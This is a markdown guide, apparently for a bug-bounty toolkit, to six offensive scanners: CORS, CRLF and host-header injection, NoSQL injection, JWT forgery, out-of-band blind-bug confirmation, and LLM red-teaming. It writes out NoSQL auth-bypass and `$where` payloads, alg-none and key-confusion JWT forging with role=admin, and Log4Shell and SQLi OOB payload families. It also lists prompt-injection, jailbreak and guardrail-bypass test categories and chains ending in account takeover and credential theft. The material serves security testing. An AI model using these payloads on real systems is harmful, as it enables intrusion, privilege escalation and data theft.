argus

# ARGUS — THE ALL-SEEING SCANNER SUITE > Named for Argus Panoptes, the hundred-eyed giant. Six "eyes" that surface what > ordinary scans miss: two of the most common web2 classes (CORS, CRLF), the > NoSQL "db" surface, JWT forging, **blind-bug confirmation via OOB** (the eye > that sees the invisible — unblocks an entire severity band), and automated LLM > red-teaming. All pure-Python, no new deps. Core logic is offline-testable. --- ## 0. ROUTING — which tool for what | Signal on the target | Tool / command | |---|---| | API reflects `Origin`, or `ACAO`/`ACAC` headers seen | `/cors` | | Param reaches a redirect / `Location` / log / response header | `/crlf` | | JSON login or `{user,pass}` body, Mongo/Mongoose stack | `/nosqli` | | `Authorization: Bearer ey...` / JWT in cookie or storage | `/jwt-scan` | | Suspected **blind** SSRF/XXE/SQLi/RCE (no in-band signal) | `/oob` | | Chatbot / agent / LLM feature | `/llm-redteam` | --- ## 1. CORS — `/cors` ```bash tools/cors_scanner.py https://api.target.com/me --cookie "session=..." tools/cors_scanner.py -l recon/target.com/urls/api.txt --json ``` Sends crafted `Origin` headers, classifies `Access-Control-Allow-Origin` / `Access-Control-Allow-Credentials`: - **CRITICAL** — reflects attacker origin **with** `ACAC: true` → cookie-auth'd cross-origin read (account-data exfil). - **HIGH** — `null` origin trusted with credentials. - **MEDIUM** — reflects without creds (exploitable when auth = non-cookie token), or trusts http downgrade. - Probes suffix/prefix regex bypass (`target.com.evil`, `notarget.com`) and subdomain trust (chains with [takeover](../../commands/takeover.md)). **Always pass `--cookie` with a live session** — the credentialed path is the win. ## 2. CRLF / host-header — `/crlf` ```bash tools/crlf_scanner.py "https://target.com/r?u=x" --host-header ``` Injects encoded CRLF (`%0d%0a`, double-encoded, UTF-8 overlong `%E5%98%8A%E5%98%8D`) trying to land `Set-Cookie: crlftest=1` in the response. `--host-header` also tests `Host` / `X-Forwarded-Host` / `Forwarded` injection and flags attacker-host reflection in `Location` (password-reset poisoning). Impact: session fixation, open redirect, cache poisoning, reset poisoning. > `urllib` strips raw `\r\n` from URLs by design — the **encoded** variants are > what actually go on the wire. ## 3. NoSQL injection — `/nosqli` ```bash tools/nosqli_scanner.py --login https://t/api/login --user-field email --pass-field password tools/nosqli_scanner.py --query "https://t/api/items?id=1" # emits bracket variants ``` - Operator auth-bypass: `{"email":{"$ne":null},"password":{"$ne":null}}` - Bracket syntax (Express/qs): `email[$ne]=&password[$ne]=` - `$where` time-based blind: `{"$where":"sleep(5000)"}` → server-side JS eval = **CRITICAL** Sends a wrong-credential baseline first, flags a finding when status flips 401→200, body length jumps >25%, or the `$where` payload delays the response ≥3.5 s. ## 4. JWT attacks — `/jwt-scan` (offline) ```bash tools/jwt_scanner.py "$TOKEN" --analyze tools/jwt_scanner.py "$TOKEN" --alg-none --set role=admin tools/jwt_scanner.py "$TOKEN" --confuse --public-key jwks_pub.pem --set role=admin tools/jwt_scanner.py "$TOKEN" --crack --wordlist secrets.txt ``` - `--alg-none` — strip signature, set `alg` to none/None/NONE/nOnE. - `--confuse` — RS256→HS256: re-sign with the server's **public** key as HMAC secret. - `--crack` — brute the HS256 secret. - `--analyze` — flags `alg=none`, missing `exp`, trust-bearing claims (`role`/`is_admin`/`scope`), `kid` (probe for traversal/SQLi). Get the public key from `/.well-known/jwks.json` or `/jwks.json`. Replay the forged token against an authed endpoint — acceptance = **auth bypass / privesc**. ## 5. Out-of-band confirmation — `/oob` ⭐ The highest-leverage tool. Confirms **blind** bugs that have no in-band signal by correlating interactsh callbacks to the firing payload. ```bash # 1. listener (prints your OOB domain, streams interactions) tools/oob_listener.py --listen > inter.jsonl # 2. payloads embedding a unique marker per injection point tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json # 3. correlate received callbacks tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json ``` Covers blind SSRF, XXE (incl. OOB-DTD exfil), SQLi (MSSQL `xp_dirtree` / MySQL `LOAD_FILE` / Oracle `UTL_HTTP` / Postgres `COPY…PROGRAM`), RCE (`curl`/`nslookup`/backticks), and Log4Shell (`${jndi:ldap://…}` + `${lower:j}` filter bypass). Needs `interactsh-client` (`/arsenal interactsh-client` for the install hint); payload generation + correlation work offline without it. **Why it matters:** without OOB you cannot *prove* blind SSRF/XXE/SQLi/RCE — a whole band of Critical findings is otherwise un-submittable. ## 6. LLM red-team — `/llm-redteam` ```bash tools/llm_redteam.py --url https://t/api/chat --field message tools/llm_redteam.py --url https://t/api/chat \ --template '{"messages":[{"role":"user","content":"{{PAYLOAD}}"}]}' \ --response-path choices.0.message.content --category jailbreak ``` Fires a categorized corpus — `prompt-injection`, `jailbreak`, `system-prompt-leak`, `data-exfil`, `indirect-injection`, `guardrail-bypass` — and uses a **canary token** (`RT_PWNED_xxxx`) for reliable hit detection. `--header "Authorization: Bearer ..."` for authed bots. > A bare injection is **Informational** until chained. Escalate to chatbot IDOR, > data exfil (the markdown-beacon hit proves a channel), or RCE if the agent has > a code/tool capability. See [web2-vuln-classes §11](../web2-vuln-classes/SKILL.md) > and [bug-bounty Agentic AI (ASI01–ASI10)](../bug-bounty/SKILL.md). --- ## CHAINS - CORS credentialed read → harvest CSRF token / PII / API key → ATO. - Subdomain-trust CORS + [subdomain takeover](../../commands/takeover.md) = clean credentialed-read exploit. - JWT forge (`--alg-none`/`--confuse` + `--set role=admin`) → privesc → IDOR sweep. - Blind SSRF (confirmed via `/oob`) → cloud metadata → credential theft. - LLM indirect injection → chatbot IDOR / exfil channel.